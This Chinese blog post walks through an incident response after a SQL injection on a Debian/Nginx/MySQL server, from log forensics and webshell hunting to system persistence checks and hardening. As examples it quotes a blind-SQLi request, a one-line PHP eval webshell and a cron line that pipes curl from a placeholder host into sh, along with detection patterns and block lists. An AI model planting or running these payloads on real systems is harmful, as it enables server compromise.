被 SQL 注入过的站,清理完才发现门还开着
大概两年前我手上有个跑了好几年的老站被人注了。当时的处理很典型也很业余:发现首页被插了几百条隐藏链接,找到那个有漏洞的查询参数,加了个 intval(),然后把数据库还原到一周前的备份。折腾了半天,首页干净了,我以为事情结束了。
直到三个月后,我在 nginx 日志里看到一个从来没见过的路径返回了 200,点开一看,是一句话木马。
这件事让我彻底改变了看法:SQL 注入的危害不在「数据被改」,而在「它可能已经在你的服务器上拿到了一个能执行代码的位置」。一次成功的注入如果能配合 INTO OUTFILE 写文件,或者污染了某个会被 eval/包含的字段,那就从「数据库漏洞」升级成了「服务器沦陷」。而绝大多数站长在处理注入时,只盯着数据库做修复,完全忘了去服务器上找后门。
这篇文章是把那次事故从头到尾复盘一遍,不讲怎么防注入(那种文章太多了),讲的是注入已经发生之后,怎么把整个站和整台机器查干净。全部步骤都在一台 Debian 12 + Nginx + MySQL 8 的 VPS 上实操过,命令可以直接抄。
第一步:确定注入点,别急着删数据
很多人第一反应是「赶紧把恶意数据删掉」,但在删之前你应该先搞清楚攻击者是从哪个入口进来的。因为你修好一个入口,不代表没有第二个。
从 nginx 日志里找带有 SQL 关键字特征的请求。注意不要只看最近的日志,攻击者可能几周前就进来了:
zgrep -aiE "(union[\ +]select|information_schema|sleep\(|benchmark\(|into[\ +](out|dump)file|load_file\()" \
/var/log/nginx/access.log* | head -50
这里几个细节很关键:-a 是让 grep 把文件当文本处理(压缩日志里可能混着二进制,不加会被跳过并提示 binary file matches),-i 忽略大小写,[\ +] 是同时匹配空格和 URL 编码的加号——注入攻击绝大多数是 URL 编码过的,union%20select 用普通 grep 是搜不到的。
搜到的结果会告诉你三件事:攻击者用了哪个参数、用什么手法、什么时候开始。比如你看到:
... "GET /search.php?q=1%27%20AND%20(SELECT%201%20FROM%20(SELECT%20SLEEP(5))x)%20AND%20%271%27=%271 HTTP/1.1" 200 ...
这就是一个典型的时间盲注。SLEEP(5) 说明攻击者在逐位猜数据,这种手法非常慢,通常意味着攻击者已经确认了注入点、正在手工或半自动地 dump 数据。如果看到的是 UNION SELECT 且状态码 200、返回字节数明显异常(比如突然变成 8 万字节),那数据可能已经一次性被拖走了。
把这些请求按参数聚合一下,看看到底涉及几个入口:
zgrep -ahE "(union|select|sleep\(|into[\ +]outfile)" /var/log/nginx/access.log* \
| awk '{print $7}' | cut -d'?' -f1 | sort | uniq -c | sort -rn
我那次跑出来是三个文件:一个搜索页、一个列表页的 order 参数、还有一处 ajax.php 的隐藏接口。如果当时只修了搜索页,另外两个入口会一直敞着。这一步必须做全,不能凭印象。
第二步:判断攻击者有没有写文件的能力
这是从「数据泄露」到「服务器沦陷」的分水岭。MySQL 里有两个函数能直接读写服务器文件:LOAD_FILE() 和 INTO OUTFILE / INTO DUMPFILE。它们是否可用,取决于三件事:
1. 数据库用户的权限。如果网站连的是 root,攻击者直接就有 FILE 权限,可以直接把 <?php eval($_POST['x']);?> 写到网站目录下。这是最坏的情况。查一下:
mysql -uroot -p -e "SELECT user, host, file_priv, super_priv FROM mysql.user;"
如果 Web 用的那个用户 file_priv 是 Y,立即收回:
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
REVOKE PROCESS ON *.* FROM 'webapp'@'localhost';
FLUSH PRIVILEGES;
2. secure_file_priv 的值。MySQL 8 默认是 /var/lib/mysql-files/,这个目录在 web 根目录之外,即使能写也执行不了。但很多老机器或者一键安装包里,这个值被设成了空字符串,意思是允许写任意路径,那网站目录就直接暴露了:
mysql -uroot -p -e "SHOW VARIABLES LIKE 'secure_file_priv';"
如果返回空,请立刻在 /etc/mysql/mysql.conf.d/mysqld.cnf 的 [mysqld] 段加上 secure_file_priv=/var/lib/mysql-files/ 并重启。这个改动对正常业务几乎无影响,但能一刀切断 OUTFILE 写 webshell 这条路。
3. 数据库进程的 OS 用户权限。即使能写文件,写出来的文件属主是 mysql 用户。如果 web 目录属主是 www-data 且权限是 755,文件是能写进去的(目录可写就行),但如果是 750 且 mysql 不在 www-data 组里,就写不进去。这条决定了「可能」还是「没可能」。
我当时的情况是:secure_file_priv 是空的,web 用户有 FILE 权限,网站根目录 755。三条全中,也就是说在攻击者可操作的时间里,他可以随时写进一个 php 文件。所以后面的排查必须以「假设已经被写入」为前提。
第三步:在网站目录里找后门
如果攻击者确实写了 webshell,它会藏在你看不到的地方。这里有一套按优先级的排查顺序。
先按修改时间找。你没有改过代码的那段时间里有文件被改,基本就是它了:
find /var/www -type f -newermt "2026-09-01" ! -newermt "2026-10-01" -ls 2>/dev/null | head -50
更精准的做法是拿 git 对比(如果你的站点有版本控制,这一步能直接给出答案):
cd /var/www/mysite && git status --porcelain
有 git 的站点这一步是黄金标准,没被改过的文件不会出现。可惜很多站是靠 FTP 传上去的,没有 git,那就只能靠 find + 特征扫描。
再按危险函数特征扫描。这是最有效的一招:
grep -rlaE "(eval|assert|system|passthru|shell_exec|popen|proc_open|preg_replace[^;]*/e)\s*\(" \
/var/www/mysite --include="*.php" | head -50
但这一步的噪音极大——正常的 PHP 框架里满世界都是 preg_replace 和 call_user_func。所以要加一层过滤,专门找「**同时包含请求变量和解码函数**」的文件,这是 webshell 的经典指纹:
grep -rlaE "(eval|assert)\s*\(\s*(base64_decode|gzinflate|str_rot13|\\\$_POST|\\\$_GET|\\\$_REQUEST)" \
/var/www/mysite --include="*.php"
再补一条针对混淆代码的:
grep -rlaE "(base64_decode|gzinflate|gzuncompress|str_rot13)\s*\(" /var/www --include="*.php" | xargs -r ls -la --time-style=long-iso
重点:uploads 目录和缓存目录。这两个地方是 webshell 最常见的落脚点,因为它们必须可写:
find /var/www/mysite/uploads /var/www/mysite/cache /var/www/mysite/runtime \
-type f \( -name "*.php" -o -name "*.php5" -o -name "*.phtml" -o -name "*.pht" \) -ls 2>/dev/null
如果 uploads 目录里出现了 php 文件,无论内容看起来多么无害,都该直接删掉。上传目录里永远不该有可执行脚本,这一条应该在 nginx 配置层面就直接掐死:
location ~* ^/uploads/.*\.(php|php5|phtml|pht|phar)$ {
deny all;
return 403;
}
还要留意一些很隐蔽的变形:.php.jpg(配合 AddHandler 或 Nginx 的 fastcgi_split_path_info 配置错误可以执行)、文件名里带空格或以 . 开头的隐藏文件、以及被追加在正常图片末尾的 PHP 代码(tail -c 2000 img.jpg | grep -a ")。
第四步:别只查网站目录,查整台机器
注入写到 webshell 之后,攻击者的下一步几乎必然是提权、留后门、找出口。所以查完 web 目录只是开始。按这个顺序查系统层面:
定时任务。这是最普遍的持久化手段,藏在四个地方:
crontab -l -u root
for u in $(cut -d: -f1 /etc/passwd); do echo "== $u"; crontab -l -u $u 2>/dev/null; done
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
cat /etc/crontab
systemctl list-timers --all
攻击者最喜欢 /etc/cron.d/ 下面的单文件(不起眼),以及 /var/spool/cron/crontabs/ 里的用户任务。看到一个 */5 * * * * curl http://xxx|sh 就实锤了。
SSH 授权密钥。攻击者拿到代码执行权限后第一件事往往是往 ~/.ssh/authorized_keys 里塞自己的公钥,这样即使你改了密码他还能进来:
cat /root/.ssh/authorized_keys
find / -name authorized_keys -exec ls -la {} \; 2>/dev/null
新增的用户和 sudo 权限。
awk -F: '$3>=1000 && $3<65534 {print $1, $3, $7}' /etc/passwd
cat /etc/sudoers | grep -v '^#'
ls -la /etc/sudoers.d/
异常的监听端口和进程。
ss -tulpn
ps auxf | grep -vE "\[.*\]" | head -60
尤其注意那些没有二进制路径、或者路径在 /tmp、/dev/shm、/var/tmp 下的进程。/dev/shm 是一个内存文件系统,不落盘,重启即消失,是挖矿木马最爱的藏身处。这个目录里出现任何可执行文件都应该警惕。
检查 LD_PRELOAD 和后门库。这是一个容易被忽略的持久化点:
cat /etc/ld.so.preload 2>/dev/null
ldd /usr/sbin/sshd | grep -v "=> /lib"
/etc/ld.so.preload 如果存在且指向某个你没见过的 .so,说明系统的动态链接器被劫持了——攻击者可以借此隐藏进程、隐藏端口、拦截 sshd 密码。这种情况基本只能重装。
第五步:用文件完整性做一次「体检」而不是「猜测」
手工翻目录的效率非常低,而且很容易漏。正确做法是拿系统的包管理器做基准比对——这是唯一能给出确定性答案的方法:
debsums -s 2>/dev/null | head -30 # Debian/Ubuntu:只列校验失败的文件
rpm -Va 2>/dev/null | grep -vE "^\.{9}" # RHEL 系
debsums -s 会对比所有包管理器安装的文件和官方 md5,任何被篡改的系统二进制都会暴露出来。如果 /usr/sbin/sshd、/bin/ps、/usr/bin/find 这些出现在失败列表里,那就是 rootkit 级别的入侵,别再挣扎了,备份数据、重装系统。
没有 debsums 就先装:apt install debsums(这个包很小,不会引入依赖麻烦)。如果是 CentOS/RHEL,rpm -Va 的输出里 5 开头的行表示 md5 变化,S 表示大小变化,结合文件名判断。
第六步:数据层面的修复——找回被删的和识别被挂的
代码和系统查干净后,回到数据库。这里有两件事要做。
一是找出被篡改的内容。攻击者通常在文章内容里插入隐藏链接、隐藏 iframe,或者把正常文章改成跳转页。它们的共性是「用户看不见但存在」,所以关键词是 display:none、visibility:hidden、font-size:0、position:absolute;left:-9999px:
SELECT cid, title FROM typecho_contents
WHERE text LIKE '%display:none%'
OR text LIKE '%display: none%'
OR text LIKE '%left:-9999%'
OR text LIKE '%<iframe%'
OR text LIKE '%eval(%'
LIMIT 50;
如果是 WordPress 或其它系统,把表名和字段名按自己的结构改一下即可。
二是核查是否有数据被拖走。这一步不是靠日志能完全确认的,但可以看几个信号:数据库用户的查询量、MySQL 的 Slow_queries 计数是否在那个时间段暴涨(盲注会产生大量慢查询)、以及 general_log 如果开着的话可以直接看到注入语句。
如果攻击者删了表而不是改数据,那就进入恢复流程。这里有个必须强调的顺序:先把服务器清理干净,再恢复数据。反过来做的后果是——你恢复了数据库,但 webshell 还在,攻击者几秒钟内重新注一次。
第七步:收口——把这次的漏洞变成永久封堵
清理完毕不等于修好了。真正要做的是让同一类攻击下次进不来。按这个清单逐项落实,每一条都是我在那次事故后加上去的:
数据库最小权限。网站用的账号只给增删改查,不给 FILE、PROCESS、SUPER,也不给 DROP、ALTER:
CREATE USER 'webapp'@'localhost' IDENTIFIED BY '强随机密码';
GRANT SELECT, INSERT, UPDATE, DELETE ON mysite.* TO 'webapp'@'localhost';
FLUSH PRIVILEGES;
mysite.* 而不是 *.*,这是关键。很多一键包直接给 *.*,等于把整台 MySQL 的命交给了一个 PHP 表单。
文件系统层面的执行隔离。除了前面那条 uploads 的 deny 规则,还要确保 open_basedir 限制了 PHP 能访问的目录:
; php.ini
open_basedir = /var/www/mysite:/tmp
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,pcntl_exec
open_basedir 能挡住 LOAD_FILE('/etc/passwd') 和读取别的站点数据,是最省事的一道墙。但它对性能有轻微影响(每次文件操作都要做路径检查),在访客量大的站可以只在 uploads 相关的 PHP-FPM pool 里开启。
WAF 与请求拦截。在 Nginx 层做一层最基础的 SQL 关键字拦截,虽然容易误伤,但配合白名单阈值还是能挡住 99% 的自动化扫描:
if ($args ~* "(union\s+select|information_schema|sleep\(|benchmark\(|into\s+outfile)") {
return 403;
}
注意 if 在 location 里的行为有坑(这是 nginx 著名的 if-is-evil 问题),只用于 return 是安全的,不要在里面写 proxy_pass 或者其它复杂配置。另外这条规则对正常搜索「如何 union select」的文章也会误伤,所以我加了个白名单 cookie 绕过,自己的账号不受影响。
备份要能恢复,不只是有备份。那次事故里最讽刺的一点:我有一份一周前的备份,但恢复的时候发现备份文件是 0 字节——cron 脚本里 mysqldump 失败了,错误被重定向到 /dev/null,脚本照样返回 0。没做过恢复演练的备份,不等于备份。现在我的备份脚本会在 dump 之后做两件事:检查文件大小是否大于阈值、把 gz 文件 zcat | tail -1 确认尾部有 -- Dump completed 标记,任何一项失败就发邮件告警。
日志保留与外部存储。攻击者进来以后往往会清日志。把 access.log 实时推一份到另一台机器或者对象存储里,是事后取证唯一的依靠。最简单的方式是每天 rsync 到备份机,或者用 syslog-ng 转发。日志文件的权限也别忘了——chmod 640 且属主 root:adm,别让 web 用户能读。
最后一句真话
如果你的排查结果是:debsums 报出系统二进制被改、/etc/ld.so.preload 有陌生条目、或者有 root 权限的陌生 crontab——不要试图清理,直接重装。清理被 rootkit 感染的系统需要的时间远超重装,而且没人能保证清干净。把数据库导出、把网站代码从上次确认干净的备份里拿回来、把配置文件里需要的东西抄出来,然后重装。
那台机器上唯一值得你依赖的假设是:只要攻击者拿到过一次 root,它就再也不是你的机器了。